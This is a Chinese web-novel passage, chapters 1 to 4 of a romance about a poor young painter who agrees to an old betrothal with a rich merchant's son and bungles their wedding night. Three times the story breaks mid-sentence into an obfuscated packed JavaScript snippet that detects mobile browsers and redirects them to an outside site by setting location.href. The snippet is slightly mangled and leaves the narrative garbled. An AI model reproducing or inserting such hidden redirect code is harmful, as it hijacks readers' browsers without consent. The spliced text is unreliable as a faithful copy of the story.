《我与夫君谁先掉马?》 1. 婚约 吴州清明时节,正是雨时。绵密细雨,织就薄纱,笼在银溪上,朦胧了昂溪拱桥的倒影。忽然水面飘来一抹粉,像是被风推来的莲花,顺着桥的轮廓画一道弧。 原来是一位姑娘撑伞过桥,只见她眼睛微眯,嘴角含笑,似是想到什么有趣的事。 “是吃酥蹄还是熏鱼呢?”她悠悠地想着。 心里马上冒出另一道声音:“卖画好不容易挣点,省点花吧!” 她不满地皱起眉,又想道:“唐青朵,你吃了那么多天素,都快赶上霁月庵的姑子了!现在有了钱,还委屈自己?不如真出家算了!” 如此最终毫不费力说服自己,她满意地点头道:“吃酥蹄吧!还得是万家酥蹄,钱都花了,要买,就买最好的。” 脚步轻快起来,要不是雨天路滑,怕是忍不住一蹦一跳。唐青朵下了桥向左,正欢欣雀跃,突然注意道叫卖声:“便宜喽便宜喽!颜料纸笔和砚台,统统便宜喽!” 她心念一动,顿时停下,后退几步,退到摊子前,眼睛盯着架子上的货,一个个仔细看着。 小贩见来了客,卖力推荐道:“客官,您要买点什么?我这有徽墨,是上好的;还有这宣纸,也是上好的,”他见青朵捡起一块颜料,马上说道:“您手中这石青料……” “我知道,是上好的。”唐青朵盯着手中的颜料应道。 “对对对,一看就知道,您是个识货的。”他满脸堆笑。 “这要多少钱?” “不多不多,只要三十文。” 青朵瞪大眼睛:“不是说便宜吗?怎么跟酥蹄一个价?” 小贩不知道她怎么就扯上“酥蹄”,赔笑道:“这价格已经很低了,店里的可比我的货更贵,都是这天下个不停,我才会卖这个价,要是平时,万万不可能的!” 他拿起一盒打开,里面是与石青相似的颜色,说道:“你看这花青,五文一个,一个是矿石料,一个是蓼蓝草中提的色,当然价格就会不同。姑娘你是懂行的,一分钱一分货,差就差在这了。” 小贩说完后,见她死死地盯着石青色,颇有心动之意,已然觉得这笔生意成了一多半。他觑着他,就等她冲动拍板后,趁她后悔前,一手拿钱,一手交货。 青朵的脑袋飞速转动着:一个石青色就是一个酥蹄,吃了酥蹄就买不到石青色。吃的和用的,好难取舍,可是东坡兄说“宁可食无肉,不可居无竹”,我唐青朵都吃了那么久的素,也不差再吃几天了,不能失去美丽的颜色。 她有了决断,大手一挥:“给我来三个花青色!” “好嘞!”小贩大喜,正要把手里的石青色包起来,突然感觉不对,反应过来,目瞪口呆道:“啊?” * 唐青朵带着两个卤鸡腿和颜料满载而归,买到颜料,又能吃肉,还有余钱,虽不在她的计划中,但又恰恰很完美,她得意地哼着小曲,向家走去。 “嗯?”她突然停住脚步,有两一老一少,两个男人站在她家门口。老的反而给少的撑伞,且身子微躬,身穿灰布棉衣,想来是个佣人。寂静无人的小路上,那两人也发现她,转头注视着。 她一下子猜到他们的来意,心中冷笑,不急不慢地走近,停到自己院门前。 年轻男子拱手行礼,客气说道:“请问姑娘,这里可是唐礼唐伯父的住所?” 果然是找她爹的。 “是,他不在。”唐青朵不客气地答道。 年轻男子又问:“他什么时候回来?” “很久不回来了,也不知道什么时候回来。” 那老与少两人对视一眼,面露难色。青朵打量着年轻男子,他身着月白色直裰,有清风朗月之姿,应当也和之前来的那些读书人一样,读了她爹的词,慕名前来拜访。不过那些人见了她爹,觉得与想象中相差甚大,就又失望而去,渐渐都不再来。 这人要是知道她爹的真实面目,会不会也大失所望呢? 她忽然起了促狭之心,眼珠一转,说道:“你要是找他,倒也不是没有办法。” “哦?还请姑娘告知。”男子马上问道。 青朵扬起下巴,向东一点,说道:“喏,从这一直向东走,就是吴州有名的花巷,至于他是在绣纨苑的柳香香那儿,还是在繁芜居的珠娘处,更有可能是在环芳楼,那就不知道是哪个相好了。你自己慢慢去找吧!” 男子一怔,青朵就是想看他惊讶的样子,目的达成,感到满足,卤鸡腿可是刚出锅的,一直散发着诱人的香气,她等不及正要开门进去,大快朵颐,却听到男子在身后问道:“姑娘可是名为‘青朵’?” 这回轮到她诧异了,忙回身奇道:“你怎么知道我的名字?” 小姑娘嘴边狡黠的笑消去了,柳眉倒悬,杏目圆睁,眸中清亮如泉,鬓边缀着一朵湿漉漉的红山茶。他敛目倾身,再次拱手道: “在下曾正卿,奉家父之命,特来寻唐伯父,以履行婚约。” 什……什么?婚约? 青朵打了一个寒颤,他的话听起来,怎么既让人明白,又让人糊涂呢?心中升起不祥的预感,她忍不住问道:“你说的婚约……是跟谁?” 曾正卿没有回答,只是抬起眼眸,定定地看向她。 青朵深吸一口冷气,那一瞬间,甚至闻不到鸡腿的香味了。 * 曾正卿讲完过往,两人对坐默默无言,屋外春雨淅沥。 据他讲,亲事是在两人幼时定下的。按照时间推算,当时她三岁,家里还没败落。 青朵的目光死死地盯着桌上的婚书,她活了一十六年,从不知道自己是许了人家的。 她从小就知道她爹不靠谱,但此事也超乎她的认知,这么重要的事,老爹竟然从未说过! 等等!这人不会是骗亲的吧? 她狐疑地抬头盯着曾正卿,想从他身上找出什么蛛丝马迹。却见他仰头看着茅草屋顶,一滴滴雨水坠到他身上,他身子微微向左挪了挪,低头对上青朵的目光。 她心虚地挪开眼神,暗暗叹气,看他穿着打扮,言行气度,家境不知要比自己好上几十倍,几百倍,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294434|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是骗婚,图什么?图坐在垫腿木桌前,就能仰头看雨水,低头湿衣裳? 可是,可是,就算她对婚姻毫无兴趣,也不意味着,她就可以接受嫁个一个半道杀出的程咬金啊! 就像是一场提线木偶戏,她本演得好好的,好不适意,突然天降另一个木偶,勾勾手道:“噫!我便是你的夫婿,一同家去也!” 不,她不要嫁! 即使有婚约,她也绝不屈服! 屋内一暗,老仆抬着大小箱子进屋,四处一瞄,喘着粗气道:“少爷,东西都拿进来了!” 他将手中的箱子放好,曾正卿起身道:“唐姑娘,初次拜访,仅备薄礼,还望笑纳。” 这……不太薄,青朵虽然不知道箱子里面装的什么,但箱子看起来就不普通,她已经闻到它们散发出来的清幽香气,上面还刻着花鸟树藤。 这人家世绝对不凡,自己要是跟了她,以后肯定能过上富贵日子,像那些有钱人家的夫人,身着绫罗绸缎,坐着宝马香车,虽然大多数时间被拘于内宅,但是衣食无忧,不用为了生计奔波,多舒服啊! 这么一想,肯定比现在生活更惬意。 她蓦地回过神,心中骂道:唐青朵!你想什么呢!你怎么能为了锦衣玉食,就把自己卖了呢! 安能摧眉折腰为财富,使我不得自由颜? 她稳住心神,再次坚定自己不嫁的想法,还未等诉之于口,就见曾正卿拿起最上面的一个小盒子,轻轻放在桌上,说道:“曾听家父说过,唐伯父善于丹青,正好无意中得了一种颜料,只是一份小小心意,劳烦姑娘帮我转达。” 颜料!这勾起青朵的好奇心,她忍不住打开盒子,看到里面的颜色,瞳孔瞬间放大,合不拢嘴。 这竟是群青!纯净明亮的蓝色,散发着宝石般的光芒,隐约的,还有什么声音,嗯!青朵分辨出来,那是金钱碰撞的叮咚响。 在她还为三十文的劣质石青犹豫不决时,这比金子还珍贵的事物,却被他轻描淡写地说成是“小小心意”? 青朵怔怔地望向曾正卿,他背对着门,若披蟾光,愈发显得玉润冰清。不知为何,此刻仔细端详,才发觉,他远比初见时俊美。 阔气,大方,俊逸,举止言谈,风度翩翩……她如堕五里雾中,面前这人的各个方面,都让她满意得不得了,作为夫君,她好像也不是不能接受。 再说了,嫁给谁不都是那么一回事?听说外祖家也是书香门第,女婿出了事,还不是马上与亲女儿一刀两断?她娘秀外慧中,满心满意为夫君着想,又有什么用?人一死,他爹就不知道睡哪个名妓床上了。 与其奢望云里雾里的东西,不如来点实在的好处。 走一步,看一步;活一时,算一时。 未来可不一定能碰到,像他这样出类拔萃的冤大头。为了一纸婚约,还肯娶穷光蛋为妻。 心中的算盘珠子扒拉得“噼里啪啦”震天响,这买卖稳赚不赔啊! 嚯! 这不是飞来横祸, 这是天赐良缘! 2. 提亲 她要牢牢抓住他,下辈子的幸福,就全系在他身上了! 只要嫁给他,以后吃穿用度不用发愁,再也不用靠画春宫图谋生! 讨厌的春宫图! 青朵咬着后槽牙想着,可惜老爹不在,倘若他在,就是今日在这破屋子里拜堂成亲,洞房花烛,也未尝不可! 太可惜了!她狠狠抓一把大腿,十分懊悔。 当务之急,是先把眼前的人稳住。 曾正卿见少女脸上阴晴不定,手紧紧攥住衣裙,于是说道:“唐姑娘,突然前来多有打搅,婚约的事,你不必感到为难,既然伯父不在,我们就先……” “等一下!” 不能放他走! 青朵“嗖”地一下子站起,看到曾正卿惊讶的眼神,不自然地轻咳一声,说道:“曾公子,既然长辈们已经约定,我们小辈只能遵从。我刚才忽然想起,父亲大人曾说过,后天会回来一趟,不如,你后日再来?” 曾正卿微微皱眉,他想了一下,点头道:“也好。那我后日再来拜访,告辞。” 他和老仆刚出门,青朵一拍脑袋,拎起油纸伞追了出去:“我送送你们!” 曾正卿回身,正要推辞,青朵一手握伞,一手上推竹跳,伞面完全张开,画在上面的工笔山茶绽放在雨中。雨水零落,像是在花瓣上滚动的露珠。他的视线不自觉地又飘向她鬓边的茶花。 她撑起伞,收敛地一笑:“慢走。” 曾正卿不着痕迹地收回视线,身子微微前倾,行礼告别。 青朵在雨中站了好一会儿,确认他们已经走远,这才兴奋地原地蹦跳起来,雀跃了一会儿才蹦回屋中,卤鸡腿还等着她呢。 * 七弯八拐地找了好久,青朵站在路中间,看着左右两户人家难以确定。目光不经意间扫向左侧,他家门上春联还有未撕净的残留,她瞬间认出熟悉的字迹,冷哼一声,敲了敲门。 “来了!”声刚落下,门就被打开,一股浓郁的香风扑面而来。 “阿照?”开门的是一个女子,双眸狭长妩媚,浓妆铺就也遮不住眼角的细纹,她亲昵道,“哎呀,我真是好久都没见到你了!” “哦,珠姨。”青朵向她身后望去,“我爹在吗?” “在呢!你快进来!”她一把将青朵拽进院子。 院子不大,顶上架着支架,攀着葡萄藤,下面放着一张躺椅,一个男子坐在上面,他面容清瘦,上衣随意披在身上,目光满是温和笑意,这就是唐青朵好久不见的亲爹,唐礼。 “阿照!我的宝贝女儿来了!”他拍拍身边的圆杌,“过来坐!” “嗯,你的宝贝麻烦来了。”青朵随口应道,动也未动。 唐礼哈哈一笑,说道:“丫头还是这么风趣!” 青朵环顾四周,皱着眉头问道:“我去繁芜居找你,他们告诉我你和珠姨搬出来了,我还不敢相信,你哪来的钱买院子?” “不是我,是珠娘租的。”唐礼道。 “你?你出钱养他?”青朵望向珠娘,见她笑吟吟的,青朵的目光由震惊转为悲悯,“珠姨,我劝你一句,你挣钱不易,还是把钱收好,莫花在没用的事上,让钱打水漂。” “你这丫头越发得伶牙俐齿,连爹都敢骂!”唐礼笑骂道。 珠娘解释道:“我们一起生活,也不都是我拿钱,他也把钱交于我管。哎,过日子嘛,就不能分得那么清!” “你坐着,我给你煮甜酒圆子!” 青朵见珠娘的背影消失在厨房,压低声音道:“让个风尘女子养你,你也好意思!” 唐礼不在意道:“你情我愿的事,我又没逼迫她,有什么不好意思的。”话题一转,说道:“你平时最不爱见到这些‘风尘女子’,从不来主动找我,今日怎么找来了?” “哦,”青朵拉过唐礼身边的圆杌,翘腿一坐,说道,“我要嫁人了。” “什么?”唐礼大惊,他伸手去拽青朵坐着的圆杌,把她拉近,“是谁要娶我女儿?” 青朵冷不丁被他一拉,差点没坐稳掉下去,她放下腿坐直,瞪着她爹:“你问我?我倒要问你哩!” “曾家拿着婚约找上门,这是怎么一回事?” “曾家?”唐礼一脸茫然,他眉头紧锁,想了好一会儿,突然一拍大腿,“对呀,都忘了这事!” 他对着青朵一脸认真:“阿照,你三岁的时候,我和你娘给你订了一门亲事,是曾家的长子,曾正卿。他父亲是我的好友,曾为。当时我们相谈甚欢,正好他家是儿子,你是女儿,就定下作儿女亲家。不过后来出了事,走得走,散得散,谁也顾不上谁了。” 他说到最后感到不对,奇道:“这事我都要不记得了,你怎么知道?” 唐青朵没好气地说:“还我怎么知道,曾正卿找上门了!” 她正色道:“爹,我要嫁给他!” 唐礼表情严肃:“阿照,我十几年没和他们家联系过了,也不知道他家老大现在是什么样,婚事不能匆匆答应,我得先看看他的为人再说。” 又打趣道:“你急着要嫁他,是看上他哪一点了?” “有钱。” 唐礼一时语塞,他瞪了青朵一眼:“胡闹!” “不胡闹!”青朵理直气壮,“等进了他家,我就不用过拮据的生活了。上午我去打听了一下,曾家是做书坊生意的,在云塘街上有店铺,他家的宅子挨着刘员外家,苏日安当时我也看出他不一般,但没想到是这等富有!” “他昨天来上门拜访,我说你明天回来,所以你明天说什么也要回一趟家,把这门亲事敲定了再走!” 唐礼一呆,长叹后说道:“阿照,你想要钱,爹能给你,不过是画幅画的事,吴州城求我画作的,不在少数,别说几十两,几百两的都有,爹挣了的,都是你的。至于你的婚事,那是关乎你一生的大事,草率不得。不能简单就用金钱去衡量,明天我回家见他一面,倘若他忠诚宽厚,我便同意,否则,我要取消这门婚约!” “我就你一个孩子,不能把你往火坑里推,毁了你一辈子!” 青朵冷笑一声,问道:“爹,你有多久没回家了?” “有一个月?两个月?”唐礼不自在地挠头。 “至少半年了!”青朵一下子戳破,“怎么可能只有一两个月?现在都四月了,你过年都没回!” “我小的时候,你还陪着我。近些年来,你流连风月场,也不大管我的死活,既然如此,我是在家自己待着,还是嫁人,又有什么关系呢?就算嫁得不好,身边也有个人,不像现在,除了什么事情,都得自己面对!”她说着,抹起泪来。 唐礼沉默良久,才说道:“照儿,我明白你的意思了,等我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294435|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了他,如果他人不行,我也会尊重你的意思。” “这就对了嘛!当着他的面别忘了多夸夸我,留个好印象。”青朵双手抱怀,翘起二郎腿,眼眶仍湿润着,却半点悲戚的样子都无。 唐礼目瞪口呆:“好啊你,在这跟我演苦肉计呢!” * 曾正卿依约上门前来拜会,与唐礼两人见礼,落座后,唐礼说道:“贤侄,你父亲可还好?” 曾正卿道:“家父三年前过世了。” 唐礼怔忡道:“曾兄已经去了……十几年前一别,竟是永别。怪不得是由你来见我!” “家父临终前,还记挂着这件亲事,嘱咐我守孝之后,务必找到你们,完成婚约。正好我半年前迁至此地做生意,本想慢慢打听着,没想到唐伯父就在此地,于是就寻来了。” 唐礼听到“迁至此地”,心中一喜,看来他的阿照不会远嫁,表面上却仍是愁云一片:“唉,虽然女儿总是要出嫁的,心里还是万分舍不得,唉,可能是我老了,身边就这一个孩子的缘故。” “伯父还未至不惑之时,正是壮年。舐犊之情,乃人皆有之的天性。不必伤怀。”曾正卿劝慰道。 唐礼马上顺杆爬:“啊呀,难得贤侄你理解我作老父亲的心!你看,既然小女嫁过去,你们仍在本地住,她嫁给你后,倘若想时不时地回来看我,还望你不要阻拦。” 曾正卿迟疑了一会儿,念及他唐伯父是父亲的旧友,且现在望着他的眼神可怜巴巴,心下不忍,点头道:“是,伯父孤身一人,唐姑娘放心不下,想要回去探望照顾也是常理。” 唐礼见他轻松答应,觉得还可以再进一步,赞道:“贤侄真是开明的人!多谢你体贴我们父女。对了,贤侄,我没记错的话,你今年可是二十一二了?” “小侄刚到及冠之年。” “哦,才二十,正是大有可为的年龄呢。咳咳,那个,平时你身边可有什么人照顾着?” 曾正卿低头道:“父亲久病,下有幼弟,家中事务都有小侄处理,时至今日,仍是孤身一人,不曾有人相伴。” 这就是没有通房的意思了,唐礼心想,他跟他爹真是一样的老古板。口中说道:“我记得你父亲母亲情深意笃,他还曾和我说过,你爷爷也是这样,有妻无妾,忠贞不二。贤侄,这当是你家的家风吧?” “是,得一知心人足矣,晚辈不敢贪心,也不愿辜负了唐姑娘。” 得到曾正卿的保证,唐礼感到满足,但他还是想再探一探,万一,就成了呢?他又道:“贤侄,你父亲的为人我是信得过的,我看你也是个诚笃真挚的好男儿,把女儿交给你,我放心了。只是,我还有一个为难之处。” “伯父请说。” “贤侄,你看,我住在这破木屋里,想让宝贝女儿风光出嫁,实在是有心无力啊!可她这一生,也就只有这一次婚礼,何况还是嫁给你,你曾家家大业大,我仅一顶小轿把姑娘送去,岂不让人嘲笑?让你同族亲戚见了,以后怕是要轻视于她。唉,还是我无用啊!”他夸张地悲伤摇头。 “伯父不必难过,唐姑娘的嫁妆,小侄拿了就是,反正以后也都是一家,唐姑娘的体面,也就是我曾家的体面。”曾正卿很快回道。 唐礼大喜,一拍桌子,震得曾正卿浑身一抖,然后就听他叫道:“好女婿!还等什么!快商量婚期吧!” 3. 礼成 当天,青朵提前出门避开,黄昏时回来,进屋看到新的礼物,知道曾正卿已经来过了。 “怎样?”她迫不及待地问唐礼。 唐礼笑呵呵道:“曾兄教子有方,他痛快得很,我提的要求都答应了。”便把自己和曾正卿谈的如此如此都告诉青朵。 青朵听完,夸道:“还是爹有两下子,这些,女儿都没想到。” “那你看看,我还是白活的不成?”唐礼胸膛一挺,得意道。 青朵追问道:“你可跟他说我的好话没?” “当然!我把你夸得天上有地上无,我说你蕙质兰心,心灵手巧,巧捷万端,端庄贤淑,淑性茂质……” “等等等等等等!”青朵紧急喊停,“什么?端庄?贤淑?我哪里端庄,哪里贤淑了?” “这个好像是不太符合。”唐礼挠挠头。 青朵急得跺脚:“哎呀,让你夸我,又没让你瞎说!你把我说成这样,到时候我嫁过去,人家一看我跟什么‘端庄’‘贤淑’一点不搭边,想要退婚,那该怎么办?” 唐礼安慰道:“没事的阿照,到时候仪式都办了,生米煮成熟饭,他就算是要悔也悔不了。再说了,哪家的媒婆不夸张?咱们这点说辞,实在不算得什么。” “小时候,你跟他定亲时,咱家虽不如他家富裕,但还算殷实,如果不是后来的事,你就是个端庄贤淑的大小姐,我这么说,也是符合他们对你的期待嘛!” 对啊,爹说的有理。当时定亲,曾家肯定是想娶一个门当户对的小姐进门。只是那些已经在远去的记忆中模糊。她放纵了这么多年,早就不是规规矩矩的小姐做派了。 一道灵光闪过。 她虽不是,但她可以装啊! 可是,难道她后半生就要一直装“端庄贤淑”了? 唐礼看青朵表情现出“悲痛欲绝”,吓了一跳,忙问道:“阿照,你想什么呢?怎么不说话?” 青朵叹了一口气,说道:“爹,你真是我的亲爹。” * 在曾家的推动下,纳采、纳吉、纳征、请期飞速完成。唐礼看着院里堆满的“嫁妆”和聘礼,笑得合不拢嘴。 “女婿真是大手笔,准备两份礼,一点都不含糊。”他赞道。 青朵泼冷水道:“他有什么好不大方的!到时候嫁妆也是抬进他家,不过走个过场。要是我俩过不下去,这些都还是他的,跟咱们一点关系都没有。” “呸呸呸!晦气!别瞎说,小心一言成谶!”唐礼赶紧道,他双手合十,祝祷道:“过路神仙,小孩子一句玩笑话,千万不要当真。” 他说完,四下看看,仿佛这里还有别人似的,从怀中拿出一张银票,递给青朵。 “五十两?”青朵看清上面的字,惊呼道。 “小点声!”唐礼低声警告道。 “你哪来这么多钱?” “这有什么难的,不过答应别人画一幅画罢了!”唐礼手背在身后,浑不在意道。 青朵说不清自己什么感觉,她画一幅春宫,最多也就能卖几十文,有时候还卖不出去,他爹一幅画,就能卖五十两。她像吃了一个未熟的柿子,心里又酸又涩。 忽地转念一想,她质问道:“既然你的画这么值钱,为什么我们还过得这么辛苦?你画一幅的钱,都够我们生活好几年了!” “我这不是不想画嘛!”唐礼嘟囔道。 仿佛酸涩的柿子卡在喉咙里,青朵堵得慌。好好好,前有曾正卿说自己送的群青是“小小心意”,后有她爹画值几十两,却不肯多画。只有她要钱没钱,要画技,画技不够。 苍天瞎眼啊! “真是暴殄天物。”她从牙缝里挤出一句话。 “这有什么,我……”唐礼刚要说话,就被青朵抬手制止:“别说了,别说了,胃疼。”无形的酸柿子终是落了肚,酸意遍布全身。 唐礼回到原来的话题,说道:“阿照,这五十两给你傍身,我们家虽然不及他们曾家,但是在爹看来,你才是无价之宝。就算他拿全部家当来,也不及你万分之一。你不必看轻自己。” “阿照,虽然说‘未嫁从父,既嫁从夫’,你在家,我也没强迫你顺从我,没道理跑人家去顺从他,女儿啊,你是嫁给他做妻子,不是卖给他,他若是待你刻薄,你就回来,爹靠着一手丹青画艺,养你一辈子不是问题!不过,我看女婿的样子,是个有担当的人,不会欺负了你,愿你们两个能举案齐眉,长长久久。” 很少见到爹一本正经的样子,听着他殷切的嘱咐,一股暖流涌上青朵的心头,正要说一些感谢的话,就听到唐礼低声说道: “不过你最好还是能忍就忍,爹不是不愿意养你,就是画一作品,耗时太久,太伤神了。” 青朵松一口气,对嘛,这才是她熟悉的爹。 * 转眼就到了婚礼当日,喜帕被掀起的那一刻,青朵看到同是红衣的曾正卿,他神色自若,面上无波无澜,仿佛娶亲的不是他。 头上的束缚终于去了,青朵看向他轻松一笑。周围传来嬉笑声:“新娘子冲新郎官笑呢!” 她这才发现围了一圈人,有的还踮脚伸高,就为一睹新娘子芳容,她见大家都满面笑容地看着她,自己灿然一笑,冲着他们摆手。 大家忍俊不禁,纷纷道:“新娘子一点都不害羞呢!” “头一次见到,揭了盖头,大大方方盯着我们笑的新娘!” 青朵听见她们的话,摆得更起劲了。无意中瞥到曾正卿眼中的诧异,顿时惊醒梦中人,她可是要扮演文静大小姐的,马上放下手端坐着,垂下眼眸。 “好了好了,新娘也看了,大家到外面去喝喜酒吧!”喜娘催着众人出去,自己转身带上门,只留曾正卿和青朵在屋中,屋子里一下安静下来。 “你累了吧?”他先张口问道。 青朵忙抬起头,回道:“不累。”她微微一笑,目光与他对视:“今天这么热闹,我兴奋得很。” 他的嘴角扬起一抹淡淡的笑容,说道:“一会儿我让丫头送吃的进来,你垫一垫肚子。我先去敬酒,可能回来较晚,你若是累了,就先休息吧,不必等我。” 青朵重重点头:“好。” 他凝神看了她一眼,自行出去了。他出去不久,一个丫头开门进来,蹲身行礼,说道:“少夫人,奴婢叫芳晴,以后就由奴婢侍候您。您有什么事,尽管吩咐奴婢。” 青朵站起来扶她,唤道:“芳晴妹妹,不必多礼。” 芳晴吓了一跳,忙说道:“少夫人可不能这么叫,你是主子,我是下人,没的坏了规矩,你叫我芳晴就行。” 青朵一愣,想了想说道:“那我就叫你名字吧,我和朋友之间也是直接唤名字的。这样亲近些。” 正说着话,外面有妇人拎食盒进来,芳晴唤她为“周妈”。闻到食物的味道,青朵方觉有些饿了,顾忌着自己“端庄”的形象,只能忍着饿,慢慢吃。 周妈见她吃个不停,忍不住提醒道:“少夫人,少用一些吧,要不然晚上恐有不便。” 青朵咽下嘴里的樱桃肉,一脸疑惑:“为什么会不便?” “这……”周妈为难起来,她含糊地笑道:“等少爷敬酒回来,你还得伺候他就寝呢!” “哦,他说我累了就先睡,不用等他。”青朵夹起一块虾仁。 “那怎么行!”周妈见她没会意,急道,“正是洞房花烛的好时候,哪有夫妻新婚夜各睡各的!” 青朵手中的筷子一松,虾仁落到樱桃肉的汤汁里,瞬间染成红色。她呆滞地盯着周妈,目光逐渐由欣喜快活,变成了恐惧。 啊! 夫妻要行周公之礼!她完全忘了! 虽然她母亲过世得早,没有人在她上轿前教导这方面的事,但对于一个画春宫为生的小画师来说,要发生什么,她再清楚不过了! 今夜,她要和一个陌生人坦!诚!相!见! 这人,名义上是她的丈夫,实际上两人只见过两次,一次是家门口他找上门,另一次就是刚才,揭盖头之后! “吧嗒”。筷子从她手中散落,在盘子上一磕,又跌落在地上。 青朵食不下咽,听芳晴的安排开始沐浴。她坐在浴桶中,任由芳晴用陶搓石轻轻搓洗她的手臂,浴室水汽蒸腾,一片白茫茫的雾气,让她不禁恍惚,自己是身在曾家,还是在过年时看有钱人家杀猪。肥美的猪直挺挺地趴在木桶上,人们不断舀起滚烫的开水,浇在上面,烫软猪毛。“滋啦”一声,一束白烟升起…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294436|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从“待食用”这方面来看,她与猪没什么不同。 青朵打了一个寒颤,芳晴以为她冷,动作麻利地伺候她擦干身体,换上寝衣。 青朵坐在床上等曾正卿回房。喜烛顶端烛火跳跃,她脑中疯狂思考能逃脱洞房的理由。比如说她月事来了,啊呀不行,刚才洗澡,芳晴知道她没有;比如说她身体不舒服,可一白天都挺精神的,到了要洞房的时候突然说难受,谁会相信啊;再比如说,今日是她母亲的忌日,此事不宜。 唐青朵!你有没有脑子!如果今日不宜进行婚礼的一切,当时婚前曾家请期的时候,怎么不说? 该死!脑袋一团浆糊,什么有用的办法也想不起来。她恨恨地一捶大腿,瞬间疼得面部扭曲,她“嘶哈”着开始揉腿,这时门开了,有人走进来,芳晴唤道:“大少爷。” 青朵顾不上腿上的肉痛,呆呆地看向曾正卿,他的脸颊泛着红晕,眼中蒙着一层醉意。似是感受到青朵的注释,他的目光也落在她身上。 这是两人第三次见面,次数增多,并未缩短两人之间的距离,反而加深了青朵对于夫妻之实的恐惧,他就像一道催命符,一步步走来了。 芳晴见状,正要悄悄退去,不料听到青朵喊道: “芳芳芳晴,你,你去哪?” 芳晴顿时站住,顺从地问道:“少夫人还有吩咐吗?” 在曾正卿的注视下,青朵收回伸到一半,想要抓住芳晴的手臂,绝望道:“不,少夫人没有。” “奴婢告退。”芳晴福身后退了出去,“嗒”的一声,门关上了,留下三面之缘的夫妻俩。 青朵低头不敢看他,她能感受到,曾正卿灼灼目光就聚在她头顶,像是太阳炙烤着她的每一寸肌肤,她浑身发烫。 “夫人,在等我?”他低语道。 “嗯。”她声若蚊蚋,这是她这辈子从未有过的羞赧。 “劳夫人再等一会儿,我沐浴一下,很快就来。” 待他带着一身清爽回到床前,青朵悲切地想,倒也不必这么快。 “歇息吧。”曾正卿说着,将屋中蜡烛一一熄灭,当他走近最后一根蜡烛时,青朵突然说道:“这个留下吧,我,我怕黑。” 曾正卿点了点头,他又回到床前,两个人一动不动,一言不发好一阵儿,最后还是他先打破寂静。 “宽衣……休息吧。” 青朵万念俱灰,自己已经到了末路,再无路可逃了,这时反倒生出点慷慨就义的勇气来,她沉痛道:“我自己来!” 她刚要解开白色中衣上的带子,略一思索,起身解下床幔挡上,脱下衣裤后一溜烟钻进被子里,只露出一个头。她听到床幔外面也响起窸窣声,想来是曾正卿也在宽衣解带。 外面的声音停了,床幔被人揭起一角,昏黄的烛光透了进来,她死死地闭上眼睛,一动不敢动,却感觉光亮一直停留在脸上。 身上柔软的丝衾被掀开放置里侧,她全身暴露在空气中,她下意识将双臂拢在胸前。 “失礼了。”他的声音有点哑,说完后就拉起她的手臂,分别放置身侧。 青朵觉得自己像是岸堤,周围空气带着寒意涌来,一波又一波,她战栗着。 她始终闭着眼睛不敢看,当失去视觉,其他的感触就越发明显。她感受到曾正卿跪在床上,俯视着她。 天啊,她被看了个精光! 她抓紧两侧的褥子,极力忍耐着,然后感受到,他俯下身来,掌心灼热,握住她的肩膀。 青朵的身体猛地震颤,一股电流自肌肤相贴处流向四肢,她感觉自己口干舌燥,四肢僵硬,就要尖叫出声。 忍耐,再忍耐一下!嫁给人家做妻子,就是要经历这些的! 所有的毛孔都在叫嚣着逃跑,她用仅剩不多的冷静努力保持理智。 突然,大腿内侧触碰到什么,滚烫光滑。 这是什么?她皱起眉头仔细辨认着,电光火石之间,她蓦然醒悟,顿时浑身一激灵,脑中像有惊雷炸裂,将理智之丘夷为平地。 她忍无可忍,大喊道:“不行!”下意识抬腿一蹬。 猝不及防挨了一脚,曾正卿发出一声闷哼,身体瞬间失去平衡,紧接着“咚”的一声巨响,后脑勺狠狠磕到床架上。 4. 失眠 迎得娇妻回,结发两不知。床幔高挂起,洞房被踹时。 如果这一天,日后会成为一句歇后语,那便是:曾正卿的新婚——此起彼伏。 人生唯一一次做新郎,他也是紧张的。不过,有新婚妻子帮他缓解。 虽然是用疼痛。 “你还好吗?”唐青朵慌张地爬起,忘了自己身上赤裸,跪直身子去看他的头。 曾正卿直面眼前另一种“起伏”,瞳孔微震,别开脸说道:“没事。” “好大的声音,真的没事吗?”青朵仔细看了看,确认没有伤口,这才放心,跪坐在腿上。她暼到曾正卿侧着脸不敢看她,低头一看,自己光溜溜的,一声惊呼,拽过被子遮挡。 曾正卿余光瞟到她用被子围住自己,才转过来面向她,见她连耳朵都红透了,眼神中又透露出自责之意,安慰道:“就疼一下,现在不疼了。” “那……我刚才踢的地方呢?”青朵低声问道,她的目光望向他捂着的左肋,目光不经意间向下溜,看到什么,双眼陡然睁大。 